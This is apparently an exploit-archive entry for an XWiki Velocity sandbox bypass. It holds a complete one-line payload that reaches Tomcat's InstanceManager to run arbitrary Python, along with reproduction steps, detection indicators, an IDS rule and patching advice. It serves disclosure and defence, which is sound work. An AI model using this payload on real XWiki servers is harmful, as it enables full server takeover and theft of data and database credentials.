XWiki Platform Velocity Sandbox Bypass to RCE - CVE-2026-33229
Published: 2026-11-27 • Researcher: azefzafyoussef (repo author and write-up author, youssefazefzaf.com)
- Severity
- Critical
- CVE
- CVE-2026-33229 / GHSA-h259-74h5-4rh9
- Category
- web
- Affected product
- XWiki Platform (Velocity macro renderer / scripting API)
- Affected versions
- 17.0.0 to before 17.4.8, and 17.5.0 to before 17.10.1 (fixed in 17.4.8 and 17.10.1)
- Disclosed
- 2026-11-27
- Patch status
- Patched
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-33229
- https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-h259-74h5-4rh9
- https://github.com/xwiki/xwiki-platform/commit/9fe84da66184c05953df9466cf3a4acd15a46e63
- https://jira.xwiki.org/browse/XWIKI-23698
- https://github.com/azefzafyoussef/CVE-2026-33229
- https://youssefazefzaf.com/posts/cve
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-11-27 |
| Last Updated | 2026-04-11 |
| Author / Researcher | azefzafyoussef (repo author and write-up author, youssefazefzaf.com) |
| CVE / Advisory | CVE-2026-33229 / GHSA-h259-74h5-4rh9 |
| Category | web |
| Severity | Critical |
| CVSS Score | 9.8 (CVSSv3.1, per NVD record) |
| Status | PoC |
| Tags | XWiki, Apache Velocity, sandbox bypass, SSTI, RCE, CWE-862, Java, authenticated, script right |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | XWiki Platform (Velocity macro renderer / scripting API) |
| Versions Affected | 17.0.0 to before 17.4.8, and 17.5.0 to before 17.10.1 (fixed in 17.4.8 and 17.10.1) |
| Language / Platform | Java (XWiki on Tomcat, Apache Velocity, Apache Batik JPython interpreter on the classpath) |
| Authentication Required | Yes (any account holding script right, which the advisory notes is already a high privilege) |
| Network Access Required | Yes (HTTP/HTTPS to the XWiki instance) |
Summary
XWiki Platform ships a scripting API that lets users with script right evaluate Apache Velocity code, and that evaluation is supposed to be confined by a sandbox. Before 17.4.8 and 17.10.1 the sandbox could be escaped without reflection by walking pre-instantiated objects that are always present in the Velocity context. The published payload dereferences the servlet request, grabs the Tomcat InstanceManager from the ServletContext, instantiates the Batik JPython interpreter, and evaluates arbitrary Python, which gives full control of the wiki instance. This archive entry preserves that single-request payload together with the upstream explanation.
Vulnerability Details
Root Cause
The Velocity rendering context exposes live servlet and XWiki objects, and the sandbox only attempts to block direct class access. It does not sever the object graph reachable from those already-instantiated references, so a script can traverse from the request object to the ServletContext. Tomcat stores its InstanceManager there, and InstanceManager.newInstance accepts any fully qualified class name, which reopens class loading and instantiation that the sandbox was meant to deny. Instantiating org.apache.batik.script.jpython.JPythonInterpreter yields an evaluate method that runs Python with no sandbox at all, so the confinement boundary collapses in two hops. The NVD record classifies this as CWE-862 (missing authorization) because the scripting API is improperly protected for the documented access model.
Attack Vector
An authenticated user with script right inserts the Velocity expression into a scriptable location. The upstream proof places it in the page title parameter and renders the page, which evaluates the expression during macro rendering. The full one-line payload is stored in exploit.velocity.
Impact
Arbitrary code execution inside the XWiki JVM with the privileges of the XWiki process, which means full read and write access to wiki content, configuration, attachments, and the underlying database credentials, plus the ability to install further payloads or pivot to the host. The demo payload only touches /tmp/RCE to prove execution, but the primitive is unrestricted Python.
Environment / Lab Setup
OS: Linux (any host able to run XWiki)
Target: XWiki Platform 17.4.7 or 17.5.0-17.10.0 (a vulnerable build), e.g. the official xwiki Docker image
Attacker: Browser or curl with a valid session of an account holding script right
Tools: XWiki distribution, page edit form, optional curlSetup Steps
| |
Proof of Concept
Step-by-Step Reproduction
Prepare a script-capable account - Log in as a user that holds script right on the wiki, per the advisory a privilege already close to administrative trust.
Insert the payload - Edit a page and place the expression from exploit.velocity into the page title parameter (or any field that the Velocity renderer evaluates).
velocity$request.request.getServletContext().getAttribute("org.apache.tomcat.InstanceManager").newInstance("org.apache.batik.script.jpython.JPythonInterpreter").evaluate("import os; os.system('touch /tmp/RCE')")Render and confirm - Save, view the page, and check for the marker file on the XWiki host or container.
Shell script1docker exec xwiki ls -l /tmp/RCE
Exploit Code
See
exploit.velocityin this folder.
$request.request.getServletContext().getAttribute("org.apache.tomcat.InstanceManager").newInstance("org.apache.batik.script.jpython.JPythonInterpreter").evaluate("import os; os.system('touch /tmp/RCE')")The two stages are independent of reflection: the first hop is a plain property chain over objects the renderer already provided, the second is an ordinary factory call on Tomcat’s InstanceManager.
Expected Output
-rw-r--r-- 1 xwiki xwiki 0 <date> /tmp/RCEAny other Python statement placed inside evaluate runs the same way, for example listing the application working directory or reading configuration files.
Detection & Indicators of Compromise
$request.request.getServletContext()
org.apache.tomcat.InstanceManager
JPythonInterpreter
evaluate("import osSIEM / IDS Rule (example):
alert http any any -> any any (msg:"Possible XWiki CVE-2026-33229 Velocity sandbox bypass"; flow:to_server,established; content:"InstanceManager"; http_client_body; content:"JPythonInterpreter"; http_client_body; reference:cve,2026-33229; sid:9000332;)Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade XWiki to 17.4.8, 17.10.1, or later. The fix hardens the scripting API that the sandbox relied on. |
| Workaround | Remove script right from all accounts and groups that do not strictly need it, and review existing script-bearing pages for unexpected content. |
| Config Hardening | Keep Java and the servlet container patched, remove unused optional libraries such as Batik from the web application if they are not needed, and monitor page history for script edits by low-trust accounts. |
References
Notes
Auto-prepared on 2026-11-27 from https://github.com/azefzafyoussef/CVE-2026-33229 (stars 0, Velocity payload plus README).
Review verdict: ingested. The repository is not a detector or a version audit and it is not a placeholder: it carries the concrete, syntactically complete payload that reaches RCE on a vulnerable instance, and the README explains the required privilege, the affected releases, and the GHSA. Only two upstream files existed (README and POC), and both are preserved. The payload is a one-liner with no harness or automation, which is why the entry is marked PoC rather than Weaponized.
License: the upstream repository has no LICENSE file and no explicit license statement beyond a responsible-disclosure notice; copyright remains with the author. Attribution and the source URL are retained, and the copied payload carries an archive header.
Limitations: exploitation needs an authenticated account with script right, so this is not an unauthenticated attack. The payload depends on Tomcat exposing an InstanceManager in the ServletContext and on the Batik JPython interpreter being present on the classpath, both of which hold for the standard XWiki distribution but can be removed by hardening. The demo statement only creates a file; it is a proof of execution, not a full post-exploitation tool. No exploit code was executed while preparing this entry.